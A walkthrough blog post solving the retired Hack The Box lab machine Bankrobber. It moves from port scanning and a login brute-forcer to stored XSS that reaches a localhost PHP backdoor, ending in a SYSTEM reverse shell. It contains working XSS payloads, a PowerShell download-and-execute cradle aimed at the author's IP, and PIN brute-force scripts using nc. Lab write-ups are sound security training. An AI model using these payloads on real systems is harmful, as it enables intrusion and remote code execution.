This post documents the complete walkthrough of Bankrobber, a retired vulnerable VM created by Cneeliz and Gioo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Bankrobber is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-22 18:02:00 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 3306/tcp on 10.10.10.154 Discovered open port 80/tcp on 10.10.10.154 Discovered open port 445/tcp on 10.10.10.154 Discovered open port 443/tcp on 10.10.10.154

Interesting list of web-oriented open ports. Let’s do one better with nmap scanning the discovered port to establish their services.

# nmap -e tun0 -n -v -Pn -p80,443,445,3306 -A --reason -oN nmap.txt 10.10.10.154 ... PORT STATE SERVICE REASON VERSION 80/tcp open http? syn-ack ttl 127 | http-methods: |_ Supported Methods: GET HEAD POST |_http-title: E-coin 443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) | http-methods: |_ Supported Methods: GET HEAD POST |_http-title: E-coin | ssl-cert: Subject: commonName=localhost | Issuer: commonName=localhost | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2009-11-10T23:48:47 | Not valid after: 2019-11-08T23:48:47 | MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0 |_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6 445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql syn-ack ttl 127 MariaDB (unauthorized)

Nothing really interesting stands out. Here’s how the site looks like. Bitcoin, eh?

Directory/File Enumeration

Let’s see what we can find with SecLists and gobuster .

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log -u http://10.10.10.154/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.154/ [+] Threads: 40 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt,log [+] Timeout: 10s =============================================================== 2019/09/24 02:34:03 Starting gobuster =============================================================== /login.php (Status: 302) /user (Status: 301) /admin (Status: 301) /js (Status: 301) /logout.php (Status: 302) /css (Status: 301) /register.php (Status: 200) /img (Status: 301) /webalizer (Status: 403) /index.php (Status: 200) /fonts (Status: 301) /phpmyadmin (Status: 403) /link.php (Status: 200) /notes.txt (Status: 200) /licenses (Status: 403) /server-status (Status: 403) /con (Status: 403) /con.php (Status: 403) /con.txt (Status: 403) /con.log (Status: 403) Progress: 8536 / 17771 (48.03%)^C [!] Keyboard interrupt detected, terminating. =============================================================== 2019/09/24 02:41:33 Finished ===============================================================

What have we here? notes.txt sure looks interesting.

PHP Page Analysis

Let’s check out the two pages of interest: login.php and register.php .

login.php

# curl -i -d "username=admin&password=admin" http://10.10.10.154/login.php HTTP/1.1 302 Found Date: Tue, 24 Sep 2019 02:49:55 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 X-Powered-By: PHP/7.3.4 Location: index.php Content-Length: 0 Content-Type: text/html; charset=UTF-8

register.php

# curl -i -d "username=admin&password=admin" http://10.10.10.154/register.php HTTP/1.1 302 Found Date: Tue, 24 Sep 2019 02:51:16 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 X-Powered-By: PHP/7.3.4 Location: index.php?msg=User already exists. Content-Length: 0 Content-Type: text/html; charset=UTF-8

Notice that register.php provides a way to verify whether a particular user exist? Let’s see what happens when we register a totally new user.

# curl -i -d "username=dipshit&password=dipshit" http://10.10.10.154/register.php HTTP/1.1 302 Found Date: Tue, 24 Sep 2019 02:53:48 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 X-Powered-By: PHP/7.3.4 Location: index.php?msg=User created. Content-Length: 0 Content-Type: text/html; charset=UTF-8

Interesting. There’s a message to tell us that a new user was created. What happens when we log in?

# curl -i -d "username=dipshit&password=dipshit" http://10.10.10.154/login.php HTTP/1.1 302 Found Date: Tue, 24 Sep 2019 02:55:08 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 X-Powered-By: PHP/7.3.4 Set-Cookie: id=25 Set-Cookie: username=ZGlwc2hpdA%3D%3D Set-Cookie: password=ZGlwc2hpdA%3D%3D Location: user Content-Length: 0 Content-Type: text/html; charset=UTF-8

Hmm. Cookie-based authentication??!! Look at the redirection? To /user ! Previously in our enumeration, the directory /admin was also present along with /user . If I had to guess, I would say that admin logon gets redirected to /admin . With that in mind, I wrote the following brute-forcer script of sorts, using curl as the main driver.

robber.sh

#!/bin/bash HOST = 10.10.10.154 USER = admin PASS = $1 function die () { killall perl &>/dev/null } CHECK = $( curl -i \ -s \ -d "username= $USER &password= $PASS " \ http:// $HOST /login.php \ | grep -E '^Location' ) if grep 'admin' <<< " $CHECK " &>/dev/null ; then echo "[*] Password is: $PASS " die fi

Combined with GNU Parallel, we get a poor man version’s of a multi-threaded brute-forcer. It took me a while to brute-force the passsword. The credential is ( admin:hopelessromantic ).

Let’s check it out.

Awesome.

Backdooring PHP

Long story short. The creators left a PHP backdoor that can only be executed from localhost .

Recall notes.txt ? It says that only comments from localhost are not encoded. This means that we may be able to inject JavaScript into the backend and run it as localhost . But where to inject the JavaScript?

Earlier on, I went ahead to register a new user. In the user’s page there’s a feature that allows one to transfer E-coins with a custom comment to the recipient.

Here’s a simple JavaScript to demonstrate the callback capabilities of the remote backend.

<script>var img = new Image(); img.src = "http://10.10.15.23/hacked.png";</script>

We already knew that admin has an ID of 1 previously. We also need to set up a SimpleHTTPServer for testing purposes. Once we hit the transfer button, we are greeted with a popup alert.

That’s the signal to login to the admin page.

Once you hit accept, a HTTP GET comes knocking on our door, requesting for hacked.png .

Sweet. But first, let’s take a peek at how the backdoor remote command execution ( system.js ) is implemented.

Well, I could use XHR to reach http://localhost/admin/backdoorchecker.php. That should work. Check it out.

<script> function hello() { var http=new XMLHttpRequest(); var url='http://localhost/admin/backdoorchecker.php'; var params="cmd=dir | powershell /c iex (new-object net.webclient).downloadstring('http://10.10.15.23/nmap.txt')"; http.open('POST',url,true); http.setRequestHeader('Content-type','application/x-www-form-urlencoded'); http.send(params); } hello(); </script>

Let’s minify the JavaScript while we are at it.

Bombs away. Moments later, see who came knocking on my door, with PowerShell no less.

Low-Privilege Shell

With that in mind, we can probably execute some kind of reverse shell.

Bam! The file user.txt is at Cortin’s desktop.

Privilege Escalation

During enumeration of Cortin’s account, I notice a weird service bankapp , listening at 910/tcp . The executable path is C:\bankv2.exe . And since the port wasn’t discovered during our port scan, it can only mean that this service is listening through localhost or the loopback interface.

With that in mind, let’s transfer a copy of plink.exe a SSH client over. Using remote port-forwarding, we can “forward” 910/tcp over to my attacking machine hosting the SSH service.

Once that’s done, we should be able to connect to 910/tcp locally on our attacking machine.

Breaking bankv2.exe

So, the program requires a 4-digit PIN to log in, eh? That should be easy. I wrote a simple brute-forcer for that.

pin.sh

#!/bin/bash HOST = 127.0.0.1 PORT = 910 PIN = $1 function die () { killall perl &>/dev/null } if echo $PIN | nc $HOST $PORT 2>&1 | sed -r '$!d' | grep -iv 'denied' &>/dev/null ; then echo "[*] PIN: $PIN " die fi

See? Easy.

Long story short, the program is susceptible to a command injection vulnerability, after 32 bytes of string input. Prior to that, I’ve already copied nc.exe over to C:\users\cortin\appdata

c.exe , so we’ll launch a reverse shell from there.

And a shell with SYSTEM privilege appears…